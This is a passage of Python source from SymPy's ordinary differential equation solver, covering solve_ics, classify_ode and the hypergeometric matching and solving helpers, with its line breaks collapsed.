hint) for expr in exprs] else: rv = _handle_Integral(exprs, func, hint) if isinstance(rv, list): rv = _remove_redundant_solutions(eq, rv, order, func.args[0]) if len(rv) == 1: rv = rv[0] if ics and not 'power_series' in hint: if isinstance(rv, (Expr, Eq)): solved_constants = solve_ics([rv], [r['func']], cons(rv), ics) rv = rv.subs(solved_constants) else: rv1 = [] for s in rv: try: solved_constants = solve_ics([s], [r['func']], cons(s), ics) except ValueError: continue rv1.append(s.subs(solved_constants)) if len(rv1) == 1: return rv1[0] rv = rv1 return rv def solve_ics(sols, funcs, constants, ics): """ Solve for the constants given initial conditions ``sols`` is a list of solutions. ``funcs`` is a list of functions. ``constants`` is a list of constants. ``ics`` is the set of initial/boundary conditions for the differential equation. It should be given in the form of ``{f(x0): x1, f(x).diff(x).subs(x, x2): x3}`` and so on. Returns a dictionary mapping constants to values. ``solution.subs(constants)`` will replace the constants in ``solution``. Example ======= >>> # From dsolve(f(x).diff(x) - f(x), f(x)) >>> from sympy import symbols, Eq, exp, Function >>> from sympy.solvers.ode.ode import solve_ics >>> f = Function('f') >>> x, C1 = symbols('x C1') >>> sols = [Eq(f(x), C1*exp(x))] >>> funcs = [f(x)] >>> constants = [C1] >>> ics = {f(0): 2} >>> solved_constants = solve_ics(sols, funcs, constants, ics) >>> solved_constants {C1: 2} >>> sols[0].subs(solved_constants) Eq(f(x), 2*exp(x)) """ # Assume ics are of the form f(x0): value or Subs(diff(f(x), x, n), (x, # x0)): value (currently checked by classify_ode). To solve, replace x # with x0, f(x0) with value, then solve for constants. For f^(n)(x0), # differentiate the solution n times, so that f^(n)(x) appears. x = funcs[0].args[0] diff_sols = [] subs_sols = [] diff_variables = set() for funcarg, value in ics.items(): if isinstance(funcarg, AppliedUndef): x0 = funcarg.args[0] matching_func = [f for f in funcs if f.func == funcarg.func][0] S = sols elif isinstance(funcarg, (Subs, Derivative)): if isinstance(funcarg, Subs): # Make sure it stays a subs. Otherwise subs below will produce # a different looking term. funcarg = funcarg.doit() if isinstance(funcarg, Subs): deriv = funcarg.expr x0 = funcarg.point[0] variables = funcarg.expr.variables matching_func = deriv elif isinstance(funcarg, Derivative): deriv = funcarg x0 = funcarg.variables[0] variables = (x,)*len(funcarg.variables) matching_func = deriv.subs(x0, x) if variables not in diff_variables: for sol in sols: if sol.has(deriv.expr.func): diff_sols.append(Eq(sol.lhs.diff(*variables), sol.rhs.diff(*variables))) diff_variables.add(variables) S = diff_sols else: raise NotImplementedError("Unrecognized initial condition") for sol in S: if sol.has(matching_func): sol2 = sol sol2 = sol2.subs(x, x0) sol2 = sol2.subs(funcarg, value) # This check is necessary because of issue #15724 if not isinstance(sol2, BooleanAtom) or not subs_sols: subs_sols = [s for s in subs_sols if not isinstance(s, BooleanAtom)] subs_sols.append(sol2) # TODO: Use solveset here try: solved_constants = solve(subs_sols, constants, dict=True) except NotImplementedError: solved_constants = [] # XXX: We can't differentiate between the solution not existing because of # invalid initial conditions, and not existing because solve is not smart # enough. If we could use solveset, this might be improvable, but for now, # we use NotImplementedError in this case. if not solved_constants: raise ValueError("Couldn't solve for initial conditions") if solved_constants == True: raise ValueError("Initial conditions did not produce any solutions for constants. Perhaps they are degenerate.") if len(solved_constants) > 1: raise NotImplementedError("Initial conditions produced too many solutions for constants") return solved_constants[0] def classify_ode(eq, func=None, dict=False, ics=None, **kwargs): r""" Returns a tuple of possible :py:meth:`~sympy.solvers.ode.dsolve` classifications for an ODE. The tuple is ordered so that first item is the classification that :py:meth:`~sympy.solvers.ode.dsolve` uses to solve the ODE by default. In general, classifications at the near the beginning of the list will produce better solutions faster than those near the end, thought there are always exceptions. To make :py:meth:`~sympy.solvers.ode.dsolve` use a different classification, use ``dsolve(ODE, func, hint=<classification>)``. See also the :py:meth:`~sympy.solvers.ode.dsolve` docstring for different meta-hints you can use. If ``dict`` is true, :py:meth:`~sympy.solvers.ode.classify_ode` will return a dictionary of ``hint:match`` expression terms. This is intended for internal use by :py:meth:`~sympy.solvers.ode.dsolve`. Note that because dictionaries are ordered arbitrarily, this will most likely not be in the same order as the tuple. You can get help on different hints by executing ``help(ode.ode_hintname)``, where ``hintname`` is the name of the hint without ``_Integral``. See :py:data:`~sympy.solvers.ode.allhints` or the :py:mod:`~sympy.solvers.ode` docstring for a list of all supported hints that can be returned from :py:meth:`~sympy.solvers.ode.classify_ode`. Notes ===== These are remarks on hint names. ``_Integral`` If a classification has ``_Integral`` at the end, it will return the expression with an unevaluated :py:class:`~.Integral` class in it. Note that a hint may do this anyway if :py:meth:`~sympy.core.expr.Expr.integrate` cannot do the integral, though just using an ``_Integral`` will do so much faster. Indeed, an ``_Integral`` hint will always be faster than its corresponding hint without ``_Integral`` because :py:meth:`~sympy.core.expr.Expr.integrate` is an expensive routine. If :py:meth:`~sympy.solvers.ode.dsolve` hangs, it is probably because :py:meth:`~sympy.core.expr.Expr.integrate` is hanging on a tough or impossible integral. Try using an ``_Integral`` hint or ``all_Integral`` to get it return something. Note that some hints do not have ``_Integral`` counterparts. This is because :py:func:`~sympy.integrals.integrals.integrate` is not used in solving the ODE for those method. For example, `n`\th order linear homogeneous ODEs with constant coefficients do not require integration to solve, so there is no ``nth_linear_homogeneous_constant_coeff_Integrate`` hint. You can easily evaluate any unevaluated :py:class:`~sympy.integrals.integrals.Integral`\s in an expression by doing ``expr.doit()``. Ordinals Some hints contain an ordinal such as ``1st_linear``. This is to help differentiate them from other hints, as well as from other methods that may not be implemented yet. If a hint has ``nth`` in it, such as the ``nth_linear`` hints, this means that the method used to applies to ODEs of any order. ``indep`` and ``dep`` Some hints contain the words ``indep`` or ``dep``. These reference the independent variable and the dependent function, respectively. For example, if an ODE is in terms of `f(x)`, then ``indep`` will refer to `x` and ``dep`` will refer to `f`. ``subs`` If a hints has the word ``subs`` in it, it means the the ODE is solved by substituting the expression given after the word ``subs`` for a single dummy variable. This is usually in terms of ``indep`` and ``dep`` as above. The substituted expression will be written only in characters allowed for names of Python objects, meaning operators will be spelled out. For example, ``indep``/``dep`` will be written as ``indep_div_dep``. ``coeff`` The word ``coeff`` in a hint refers to the coefficients of something in the ODE, usually of the derivative terms. See the docstring for the individual methods for more info (``help(ode)``). This is contrast to ``coefficients``, as in ``undetermined_coefficients``, which refers to the common name of a method. ``_best`` Methods that have more than one fundamental way to solve will have a hint for each sub-method and a ``_best`` meta-classification. This will evaluate all hints and return the best, using the same considerations as the normal ``best`` meta-hint. Examples ======== >>> from sympy import Function, classify_ode, Eq >>> from sympy.abc import x >>> f = Function('f') >>> classify_ode(Eq(f(x).diff(x), 0), f(x)) ('nth_algebraic', 'separable', '1st_linear', 'Bernoulli', '1st_homogeneous_coeff_best', '1st_homogeneous_coeff_subs_indep_div_dep', '1st_homogeneous_coeff_subs_dep_div_indep', '1st_power_series', 'lie_group', 'nth_linear_constant_coeff_homogeneous', 'nth_linear_euler_eq_homogeneous', 'nth_algebraic_Integral', 'separable_Integral', '1st_linear_Integral', 'Bernoulli_Integral', '1st_homogeneous_coeff_subs_indep_div_dep_Integral', '1st_homogeneous_coeff_subs_dep_div_indep_Integral') >>> classify_ode(f(x).diff(x, 2) + 3*f(x).diff(x) + 2*f(x) - 4) ('nth_linear_constant_coeff_undetermined_coefficients', 'nth_linear_constant_coeff_variation_of_parameters', 'nth_linear_constant_coeff_variation_of_parameters_Integral') """ ics = sympify(ics) prep = kwargs.pop('prep', True) if func and len(func.args) != 1: raise ValueError("dsolve() and classify_ode() only " "work with functions of one variable, not %s" % func) if isinstance(eq, Equality): eq = eq.lhs - eq.rhs # Some methods want the unprocessed equation eq_orig = eq if prep or func is None: eq, func_ = _preprocess(eq, func) if func is None: func = func_ x = func.args[0] f = func.func y = Dummy('y') xi = kwargs.get('xi') eta = kwargs.get('eta') terms = kwargs.get('n') order = ode_order(eq, f(x)) # hint:matchdict or hint:(tuple of matchdicts) # Also will contain "default":<default hint> and "order":order items. matching_hints = {"order": order} df = f(x).diff(x) a = Wild('a', exclude=[f(x)]) d = Wild('d', exclude=[df, f(x).diff(x, 2)]) e = Wild('e', exclude=[df]) k = Wild('k', exclude=[df]) n = Wild('n', exclude=[x, f(x), df]) c1 = Wild('c1', exclude=[x]) a3 = Wild('a3', exclude=[f(x), df, f(x).diff(x, 2)]) b3 = Wild('b3', exclude=[f(x), df, f(x).diff(x, 2)]) c3 = Wild('c3', exclude=[f(x), df, f(x).diff(x, 2)]) r3 = {'xi': xi, 'eta': eta} # Used for the lie_group hint boundary = {} # Used to extract initial conditions C1 = Symbol("C1") # Preprocessing to get the initial conditions out if ics is not None: for funcarg in ics: # Separating derivatives if isinstance(funcarg, (Subs, Derivative)): # f(x).diff(x).subs(x, 0) is a Subs, but f(x).diff(x).subs(x, # y) is a Derivative if isinstance(funcarg, Subs): deriv = funcarg.expr old = funcarg.variables[0] new = funcarg.point[0] elif isinstance(funcarg, Derivative): deriv = funcarg # No information on this. Just assume it was x old = x new = funcarg.variables[0] if (isinstance(deriv, Derivative) and isinstance(deriv.args[0], AppliedUndef) and deriv.args[0].func == f and len(deriv.args[0].args) == 1 and old == x and not new.has(x) and all(i == deriv.variables[0] for i in deriv.variables) and not ics[funcarg].has(f)): dorder = ode_order(deriv, x) temp = 'f' + str(dorder) boundary.update({temp: new, temp + 'val': ics[funcarg]}) else: raise ValueError("Enter valid boundary conditions for Derivatives") # Separating functions elif isinstance(funcarg, AppliedUndef): if (funcarg.func == f and len(funcarg.args) == 1 and not funcarg.args[0].has(x) and not ics[funcarg].has(f)): boundary.update({'f0': funcarg.args[0], 'f0val': ics[funcarg]}) else: raise ValueError("Enter valid boundary conditions for Function") else: raise ValueError("Enter boundary conditions of the form ics={f(point}: value, f(x).diff(x, order).subs(x, point): value}") # Any ODE that can be solved with a combination of algebra and # integrals e.g.: # d^3/dx^3(x y) = F(x) ode = SingleODEProblem(eq_orig, func, x, prep=prep) solvers = { NthAlgebraic: ('nth_algebraic',), FirstLinear: ('1st_linear',), AlmostLinear: ('almost_linear',), Bernoulli: ('Bernoulli',), Factorable: ('factorable',), RiccatiSpecial: ('Riccati_special_minus2',), } for solvercls in solvers: solver = solvercls(ode) if solver.matches(): for hints in solvers[solvercls]: matching_hints[hints] = solver if solvercls.has_integral: matching_hints[hints + "_Integral"] = solver eq = expand(eq) # Precondition to try remove f(x) from highest order derivative reduced_eq = None if eq.is_Add: deriv_coef = eq.coeff(f(x).diff(x, order)) if deriv_coef not in (1, 0): r = deriv_coef.match(a*f(x)**c1) if r and r[c1]: den = f(x)**r[c1] reduced_eq = Add(*[arg/den for arg in eq.args]) if not reduced_eq: reduced_eq = eq if order == 1: # NON-REDUCED FORM OF EQUATION matches r = collect(eq, df, exact=True).match(d + e * df) if r: r['d'] = d r['e'] = e r['y'] = y r[d] = r[d].subs(f(x), y) r[e] = r[e].subs(f(x), y) # FIRST ORDER POWER SERIES WHICH NEEDS INITIAL CONDITIONS # TODO: Hint first order series should match only if d/e is analytic. # For now, only d/e and (d/e).diff(arg) is checked for existence at # at a given point. # This is currently done internally in ode_1st_power_series. point = boundary.get('f0', 0) value = boundary.get('f0val', C1) check = cancel(r[d]/r[e]) check1 = check.subs({x: point, y: value}) if not check1.has(oo) and not check1.has(zoo) and \ not check1.has(NaN) and not check1.has(-oo): check2 = (check1.diff(x)).subs({x: point, y: value}) if not check2.has(oo) and not check2.has(zoo) and \ not check2.has(NaN) and not check2.has(-oo): rseries = r.copy() rseries.update({'terms': terms, 'f0': point, 'f0val': value}) matching_hints["1st_power_series"] = rseries r3.update(r) ## Exact Differential Equation: P(x, y) + Q(x, y)*y' = 0 where # dP/dy == dQ/dx try: if r[d] != 0: numerator = simplify(r[d].diff(y) - r[e].diff(x)) # The following few conditions try to convert a non-exact # differential equation into an exact one. # References : Differential equations with applications # and historical notes - George E. Simmons if numerator: # If (dP/dy - dQ/dx) / Q = f(x) # then exp(integral(f(x))*equation becomes exact factor = simplify(numerator/r[e]) variables = factor.free_symbols if len(variables) == 1 and x == variables.pop(): factor = exp(Integral(factor).doit()) r[d] *= factor r[e] *= factor matching_hints["1st_exact"] = r matching_hints["1st_exact_Integral"] = r else: # If (dP/dy - dQ/dx) / -P = f(y) # then exp(integral(f(y))*equation becomes exact factor = simplify(-numerator/r[d]) variables = factor.free_symbols if len(variables) == 1 and y == variables.pop(): factor = exp(Integral(factor).doit()) r[d] *= factor r[e] *= factor matching_hints["1st_exact"] = r matching_hints["1st_exact_Integral"] = r else: matching_hints["1st_exact"] = r matching_hints["1st_exact_Integral"] = r except NotImplementedError: # Differentiating the coefficients might fail because of things # like f(2*x).diff(x). See issue 4624 and issue 4719. pass # Any first order ODE can be ideally solved by the Lie Group # method matching_hints["lie_group"] = r3 # This match is used for several cases below; we now collect on # f(x) so the matching works. r = collect(reduced_eq, df, exact=True).match(d + e*df) if r: # Using r[d] and r[e] without any modification for hints # linear-coefficients and separable-reduced. num, den = r[d], r[e] # ODE = d/e + df r['d'] = d r['e'] = e r['y'] = y r[d] = num.subs(f(x), y) r[e] = den.subs(f(x), y) ## Separable Case: y' == P(y)*Q(x) r[d] = separatevars(r[d]) r[e] = separatevars(r[e]) # m1[coeff]*m1[x]*m1[y] + m2[coeff]*m2[x]*m2[y]*y' m1 = separatevars(r[d], dict=True, symbols=(x, y)) m2 = separatevars(r[e], dict=True, symbols=(x, y)) if m1 and m2: r1 = {'m1': m1, 'm2': m2, 'y': y} matching_hints["separable"] = r1 matching_hints["separable_Integral"] = r1 ## First order equation with homogeneous coefficients: # dy/dx == F(y/x) or dy/dx == F(x/y) ordera = homogeneous_order(r[d], x, y) if ordera is not None: orderb = homogeneous_order(r[e], x, y) if ordera == orderb: # u1=y/x and u2=x/y u1 = Dummy('u1') u2 = Dummy('u2') s = "1st_homogeneous_coeff_subs" s1 = s + "_dep_div_indep" s2 = s + "_indep_div_dep" if simplify((r[d] + u1*r[e]).subs({x: 1, y: u1})) != 0: matching_hints[s1] = r matching_hints[s1 + "_Integral"] = r if simplify((r[e] + u2*r[d]).subs({x: u2, y: 1})) != 0: matching_hints[s2] = r matching_hints[s2 + "_Integral"] = r if s1 in matching_hints and s2 in matching_hints: matching_hints["1st_homogeneous_coeff_best"] = r ## Linear coefficients of the form # y'+ F((a*x + b*y + c)/(a'*x + b'y + c')) = 0 # that can be reduced to homogeneous form. F = num/den params = _linear_coeff_match(F, func) if params: xarg, yarg = params u = Dummy('u') t = Dummy('t') # Dummy substitution for df and f(x). dummy_eq = reduced_eq.subs(((df, t), (f(x), u))) reps = ((x, x + xarg), (u, u + yarg), (t, df), (u, f(x))) dummy_eq = simplify(dummy_eq.subs(reps)) # get the re-cast values for e and d r2 = collect(expand(dummy_eq), [df, f(x)]).match(e*df + d) if r2: orderd = homogeneous_order(r2[d], x, f(x)) if orderd is not None: ordere = homogeneous_order(r2[e], x, f(x)) if orderd == ordere: # Match arguments are passed in such a way that it # is coherent with the already existing homogeneous # functions. r2[d] = r2[d].subs(f(x), y) r2[e] = r2[e].subs(f(x), y) r2.update({'xarg': xarg, 'yarg': yarg, 'd': d, 'e': e, 'y': y}) matching_hints["linear_coefficients"] = r2 matching_hints["linear_coefficients_Integral"] = r2 ## Equation of the form y' + (y/x)*H(x^n*y) = 0 # that can be reduced to separable form factor = simplify(x/f(x)*num/den) # Try representing factor in terms of x^n*y # where n is lowest power of x in factor; # first remove terms like sqrt(2)*3 from factor.atoms(Mul) num, dem = factor.as_numer_denom() num = expand(num) dem = expand(dem) def _degree(expr, x): # Made this function to calculate the degree of # x in an expression. If expr will be of form # x**p*y, (wheare p can be variables/rationals) then it # will return p. for val in expr: if val.has(x): if isinstance(val, Pow) and val.as_base_exp()[0] == x: return (val.as_base_exp()[1]) elif val == x: return (val.as_base_exp()[1]) else: return _degree(val.args, x) return 0 def _powers(expr): # this function will return all the different relative power of x w.r.t f(x). # expr = x**p * f(x)**q then it will return {p/q}. pows = set() if isinstance(expr, Add): exprs = expr.atoms(Add) elif isinstance(expr, Mul): exprs = expr.atoms(Mul) elif isinstance(expr, Pow): exprs = expr.atoms(Pow) else: exprs = {expr} for arg in exprs: if arg.has(x): _, u = arg.as_independent(x, f(x)) pow = _degree((u.subs(f(x), y), ), x)/_degree((u.subs(f(x), y), ), y) pows.add(pow) return pows pows = _powers(num) pows.update(_powers(dem)) pows = list(pows) if(len(pows)==1) and pows[0]!=zoo: t = Dummy('t') r2 = {'t': t} num = num.subs(x**pows[0]*f(x), t) dem = dem.subs(x**pows[0]*f(x), t) test = num/dem free = test.free_symbols if len(free) == 1 and free.pop() == t: r2.update({'power' : pows[0], 'u' : test}) matching_hints['separable_reduced'] = r2 matching_hints["separable_reduced_Integral"] = r2 elif order == 2: # Liouville ODE in the form # f(x).diff(x, 2) + g(f(x))*(f(x).diff(x))**2 + h(x)*f(x).diff(x) # See Goldstein and Braun, "Advanced Methods for the Solution of # Differential Equations", pg. 98 s = d*f(x).diff(x, 2) + e*df**2 + k*df r = reduced_eq.match(s) if r and r[d] != 0: y = Dummy('y') g = simplify(r[e]/r[d]).subs(f(x), y) h = simplify(r[k]/r[d]).subs(f(x), y) if y in h.free_symbols or x in g.free_symbols: pass else: r = {'g': g, 'h': h, 'y': y} matching_hints["Liouville"] = r matching_hints["Liouville_Integral"] = r # Homogeneous second order differential equation of the form # a3*f(x).diff(x, 2) + b3*f(x).diff(x) + c3 # It has a definite power series solution at point x0 if, b3/a3 and c3/a3 # are analytic at x0. deq = a3*(f(x).diff(x, 2)) + b3*df + c3*f(x) r = collect(reduced_eq, [f(x).diff(x, 2), f(x).diff(x), f(x)]).match(deq) ordinary = False if r: if not all([r[key].is_polynomial() for key in r]): n, d = reduced_eq.as_numer_denom() reduced_eq = expand(n) r = collect(reduced_eq, [f(x).diff(x, 2), f(x).diff(x), f(x)]).match(deq) if r and r[a3] != 0: p = cancel(r[b3]/r[a3]) # Used below q = cancel(r[c3]/r[a3]) # Used below point = kwargs.get('x0', 0) check = p.subs(x, point) if not check.has(oo, NaN, zoo, -oo): check = q.subs(x, point) if not check.has(oo, NaN, zoo, -oo): ordinary = True r.update({'a3': a3, 'b3': b3, 'c3': c3, 'x0': point, 'terms': terms}) matching_hints["2nd_power_series_ordinary"] = r # Checking if the differential equation has a regular singular point # at x0. It has a regular singular point at x0, if (b3/a3)*(x - x0) # and (c3/a3)*((x - x0)**2) are analytic at x0. if not ordinary: p = cancel((x - point)*p) check = p.subs(x, point) if not check.has(oo, NaN, zoo, -oo): q = cancel(((x - point)**2)*q) check = q.subs(x, point) if not check.has(oo, NaN, zoo, -oo): coeff_dict = {'p': p, 'q': q, 'x0': point, 'terms': terms} matching_hints["2nd_power_series_regular"] = coeff_dict # For Hypergeometric solutions. _r = {} _r.update(r) rn = match_2nd_hypergeometric(_r, func) if rn: matching_hints["2nd_hypergeometric"] = rn matching_hints["2nd_hypergeometric_Integral"] = rn # If the ODE has regular singular point at x0 and is of the form # Eq((x)**2*Derivative(y(x), x, x) + x*Derivative(y(x), x) + # (a4**2*x**(2*p)-n**2)*y(x) thus Bessel's equation rn = match_2nd_linear_bessel(r, f(x)) if rn: matching_hints["2nd_linear_bessel"] = rn # If the ODE is ordinary and is of the form of Airy's Equation # Eq(x**2*Derivative(y(x),x,x)-(ax+b)*y(x)) if p.is_zero: a4 = Wild('a4', exclude=[x,f(x),df]) b4 = Wild('b4', exclude=[x,f(x),df]) rn = q.match(a4+b4*x) if rn and rn[b4] != 0: rn = {'b':rn[a4],'m':rn[b4]} matching_hints["2nd_linear_airy"] = rn if order > 0: # Any ODE that can be solved with a substitution and # repeated integration e.g.: # `d^2/dx^2(y) + x*d/dx(y) = constant #f'(x) must be finite for this to work r = _nth_order_reducible_match(reduced_eq, func) if r: matching_hints['nth_order_reducible'] = r # nth order linear ODE # a_n(x)y^(n) + ... + a_1(x)y' + a_0(x)y = F(x) = b r = _nth_linear_match(reduced_eq, func, order) # Constant coefficient case (a_i is constant for all i) if r and not any(r[i].has(x) for i in r if i >= 0): # Inhomogeneous case: F(x) is not identically 0 if r[-1]: eq_homogeneous = Add(eq,-r[-1]) undetcoeff = _undetermined_coefficients_match(r[-1], x, func, eq_homogeneous) s = "nth_linear_constant_coeff_variation_of_parameters" matching_hints[s] = r matching_hints[s + "_Integral"] = r if undetcoeff['test']: r['trialset'] = undetcoeff['trialset'] matching_hints[ "nth_linear_constant_coeff_undetermined_coefficients" ] = r # Homogeneous case: F(x) is identically 0 else: matching_hints["nth_linear_constant_coeff_homogeneous"] = r # nth order Euler equation a_n*x**n*y^(n) + ... + a_1*x*y' + a_0*y = F(x) #In case of Homogeneous euler equation F(x) = 0 def _test_term(coeff, order): r""" Linear Euler ODEs have the form K*x**order*diff(y(x),x,order) = F(x), where K is independent of x and y(x), order>= 0. So we need to check that for each term, coeff == K*x**order from some K. We have a few cases, since coeff may have several different types. """ if order < 0: raise ValueError("order should be greater than 0") if coeff == 0: return True if order == 0: if x in coeff.free_symbols: return False return True if coeff.is_Mul: if coeff.has(f(x)): return False return x**order in coeff.args elif coeff.is_Pow: return coeff.as_base_exp() == (x, order) elif order == 1: return x == coeff return False # Find coefficient for highest derivative, multiply coefficients to # bring the equation into Euler form if possible r_rescaled = None if r is not None: coeff = r[order] factor = x**order / coeff r_rescaled = {i: factor*r[i] for i in r if i != 'trialset'} # XXX: Mixing up the trialset with the coefficients is error-prone. # These should be separated as something like r['coeffs'] and # r['trialset'] if r_rescaled and not any(not _test_term(r_rescaled[i], i) for i in r_rescaled if i != 'trialset' and i >= 0): if not r_rescaled[-1]: matching_hints["nth_linear_euler_eq_homogeneous"] = r_rescaled else: matching_hints["nth_linear_euler_eq_nonhomogeneous_variation_of_parameters"] = r_rescaled matching_hints["nth_linear_euler_eq_nonhomogeneous_variation_of_parameters_Integral"] = r_rescaled e, re = posify(r_rescaled[-1].subs(x, exp(x))) undetcoeff = _undetermined_coefficients_match(e.subs(re), x) if undetcoeff['test']: r_rescaled['trialset'] = undetcoeff['trialset'] matching_hints["nth_linear_euler_eq_nonhomogeneous_undetermined_coefficients"] = r_rescaled # Order keys based on allhints. retlist = [i for i in allhints if i in matching_hints] if dict: # Dictionaries are ordered arbitrarily, so make note of which # hint would come first for dsolve(). Use an ordered dict in Py 3. matching_hints["default"] = retlist[0] if retlist else None matching_hints["ordered_hints"] = tuple(retlist) return matching_hints else: return tuple(retlist) def equivalence(max_num_pow, dem_pow): # this function is made for checking the equivalence with 2F1 type of equation. # max_num_pow is the value of maximum power of x in numerator # and dem_pow is list of powers of different factor of form (a*x b). # reference from table 1 in paper - "Non-Liouvillian solutions for second order # linear ODEs" by L. Chan, E.S. Cheb-Terrab. # We can extend it for 1F1 and 0F1 type also. if max_num_pow == 2: if dem_pow in [[2, 2], [2, 2, 2]]: return "2F1" elif max_num_pow == 1: if dem_pow in [[1, 2, 2], [2, 2, 2], [1, 2], [2, 2]]: return "2F1" elif max_num_pow == 0: if dem_pow in [[1, 1, 2], [2, 2], [1 ,2, 2], [1, 1], [2], [1, 2], [2, 2]]: return "2F1" return None def equivalence_hypergeometric(A, B, func): from sympy import factor # This method for finding the equivalence is only for 2F1 type. # We can extend it for 1F1 and 0F1 type also. x = func.args[0] # making given equation in normal form I1 = factor(cancel(A.diff(x)/2 + A**2/4 - B)) # computing shifted invariant(J1) of the equation J1 = factor(cancel(x**2*I1 + S(1)/4)) num, dem = J1.as_numer_denom() num = powdenest(expand(num)) dem = powdenest(expand(dem)) pow_num = set() pow_dem = set() # this function will compute the different powers of variable(x) in J1. # then it will help in finding value of k. k is power of x such that we can express # J1 = x**k * J0(x**k) then all the powers in J0 become integers. def _power_counting(num): _pow = {0} for val in num: if val.has(x): if isinstance(val, Pow) and val.as_base_exp()[0] == x: _pow.add(val.as_base_exp()[1]) elif val == x: _pow.add(val.as_base_exp()[1]) else: _pow.update(_power_counting(val.args)) return _pow pow_num = _power_counting((num, )) pow_dem = _power_counting((dem, )) pow_dem.update(pow_num) _pow = pow_dem k = gcd(_pow) # computing I0 of the given equation I0 = powdenest(simplify(factor(((J1/k**2) - S(1)/4)/((x**k)**2))), force=True) I0 = factor(cancel(powdenest(I0.subs(x, x**(S(1)/k)), force=True))) num, dem = I0.as_numer_denom() max_num_pow = max(_power_counting((num, ))) dem_args = dem.args sing_point = [] dem_pow = [] # calculating singular point of I0. for arg in dem_args: if arg.has(x): if isinstance(arg, Pow): # (x-a)**n dem_pow.append(arg.as_base_exp()[1]) sing_point.append(list(roots(arg.as_base_exp()[0], x).keys())[0]) else: # (x-a) type dem_pow.append(arg.as_base_exp()[1]) sing_point.append(list(roots(arg, x).keys())[0]) dem_pow.sort() # checking if equivalence is exists or not. if equivalence(max_num_pow, dem_pow) == "2F1": return {'I0':I0, 'k':k, 'sing_point':sing_point, 'type':"2F1"} else: return None def ode_2nd_hypergeometric(eq, func, order, match): from sympy.simplify.hyperexpand import hyperexpand from sympy import factor x = func.args[0] C0, C1 = get_numbered_constants(eq, num=2) a = match['a'] b = match['b'] c = match['c'] A = match['A'] # B = match['B'] sol = None if match['type'] == "2F1": if c.is_integer == False: sol = C0*hyper([a, b], [c], x) + C1*hyper([a-c+1, b-c+1], [2-c], x)*x**(1-c) elif c == 1: y2 = Integral(exp(Integral((-(a+b+1)*x + c)/(x**2-x), x))/(hyperexpand(hyper([a, b], [c], x))**2), x)*hyper([a, b], [c], x) sol = C0*hyper([a, b], [c], x) + C1*y2 elif (c-a-b).is_integer == False: sol = C0*hyper([a, b], [1+a+b-c], 1-x) + C1*hyper([c-a, c-b], [1+c-a-b], 1-x)*(1-x)**(c-a-b) if sol is None: raise NotImplementedError("The given ODE " + str(eq) + " cannot be solved by" + " the hypergeometric method") # applying transformation in the solution subs = match['mobius'] dtdx = simplify(1/(subs.diff(x))) _B = ((a + b + 1)*x - c).subs(x, subs)*dtdx _B = factor(_B + ((x**2 -x).subs(x, subs))*(dtdx.diff(x)*dtdx)) _A = factor((x**2 - x).subs(x, subs)*(dtdx**2)) e = exp(logcombine(Integral(cancel(_B/(2*_A)), x), force=True)) sol = sol.subs(x, match['mobius']) sol = sol.subs(x, x**match['k']) e = e.subs(x, x**match['k']) if not A.is_zero: e1 = Integral(A/2, x) e1 = exp(logcombine(e1, force=True)) sol = cancel((e/e1)*x**((-match['k']+1)/2))*sol sol = Eq(func, sol) return sol sol = cancel((e)*x**((-match['k']+1)/2))*sol sol = Eq(func, sol) return sol def match_2nd_2F1_hypergeometric(I, k, sing_point, func): from sympy import factor x = func.args[0] a = Wild("a") b = Wild("b") c = Wild("c") t = Wild("t") s = Wild("s") r = Wild("r") alpha = Wild("alpha") beta = Wild("beta") gamma = Wild("gamma") delta = Wild("delta") rn = {'type':None} # I0 of the standerd 2F1 equation. I0 = ((a-b+1)*(a-b-1)*x**2 + 2*((1-a-b)*c + 2*a*b)*x + c*(c-2))/(4*x**2*(x-1)**2) if sing_point != [0, 1]: # If singular point is [0, 1] then we have standerd equation. eqs = [] sing_eqs = [-beta/alpha, -delta/gamma, (delta-beta)/(alpha-gamma)] # making equations for the finding the mobius transformation for i in range(3): if i<len(sing_point): eqs.append(Eq(sing_eqs[i], sing_point[i])) else: eqs.append(Eq(1/sing_eqs[i], 0)) # solving above equations for the mobius transformation _beta = -alpha*sing_point[0] _delta = -gamma*sing_point[1] _gamma = alpha if len(sing_point) == 3: _gamma = (_beta + sing_point[2]*alpha)/(sing_point[2] - sing_point[1]) mob = (alpha*x + beta)/(gamma*x + delta) mob = mob.subs(beta, _beta) mob = mob.subs(delta, _delta) mob = mob.subs(gamma, _gamma) mob = cancel(mob) t = (beta - delta*x)/(gamma*x - alpha) t = cancel(((t.subs(beta, _beta)).subs(delta, _delta)).subs(gamma, _gamma)) else: mob = x t = x # applying mobius transformation in I to make it into I0. I = I.subs(x, t) I = I*(t.diff(x))**2 I = factor(I) dict_I = {x**2:0, x:0, 1:0} I0_num, I0_dem = I0.as_numer_denom() # collecting coeff of (x**2, x), of the standerd equation. # substituting (a-b) = s, (a+b) = r dict_I0 = {x**2:s**2 - 1, x:(2*(1-r)*c + (r+s)*(r-s)), 1:c*(c-2)} # collecting coeff of (x**2, x) from I0 of the given equation. dict_I.update(collect(expand(cancel(I*I0_dem)), [x**2, x], evaluate=False)) eqs = [] # We are comparing the coeff of powers of different x, for finding the values of # parameters of standerd equation. for key in [x**2, x, 1]: eqs.append(Eq(dict_I[key], dict_I0[key])) # We can have many possible roots for the equation. # I am selecting the root on the basis that when we have # standard equation eq = x*(x-1)*f(x).diff(x, 2) + ((a+b+1)*x-c)*f(x).diff(x) + a*b*f(x) # then root should be a, b, c. _c = 1 - factor(sqrt(1+eqs[2].lhs)) if not _c.has(Symbol): _c = min(list(roots(eqs[2], c))) _s = factor(sqrt(eqs[0].lhs + 1)) _r = _c - factor(sqrt(_c**2 + _s**2 + eqs[1].lhs - 2*_c)) _a = (_r + _s)/2 _b = (_r - _s)/2 rn = {'a':simplify(_a), 'b':simplify(_b), 'c':simplify(_c), 'k':k, 'mobius':mob, 'type':"2F1"} return rn def match_2nd_hypergeometric(r, func): x = func.args[0] a3 = Wild('a3', exclude=[func, func.diff(x), func.diff(x, 2)]) b3 = Wild('b3', exclude=[func, func.diff(x), func.diff(x, 2)]) c3 = Wild('c3', exclude=[func, func.diff(x), func.diff(x, 2)]) A = cancel(r[b3]/r[a3]) B = cancel(r[c3]/r[a3]) d = equivalence_hypergeometric(A, B, func) rn = None if d: if d['type'] == "2F1": rn = match_2nd_2F1_hypergeometric(d['I0'], d['k'], d['sing_point'], func) if rn is not None: rn.update({'A':A, 'B':B}) # We can extend it for 1F1 and 0F1 type also. return rn def match_2nd_linear_bessel(r, func): from sympy.polys.polytools import factor # eq = a3*f(x).diff(x, 2) + b3*f(x).diff(x) + 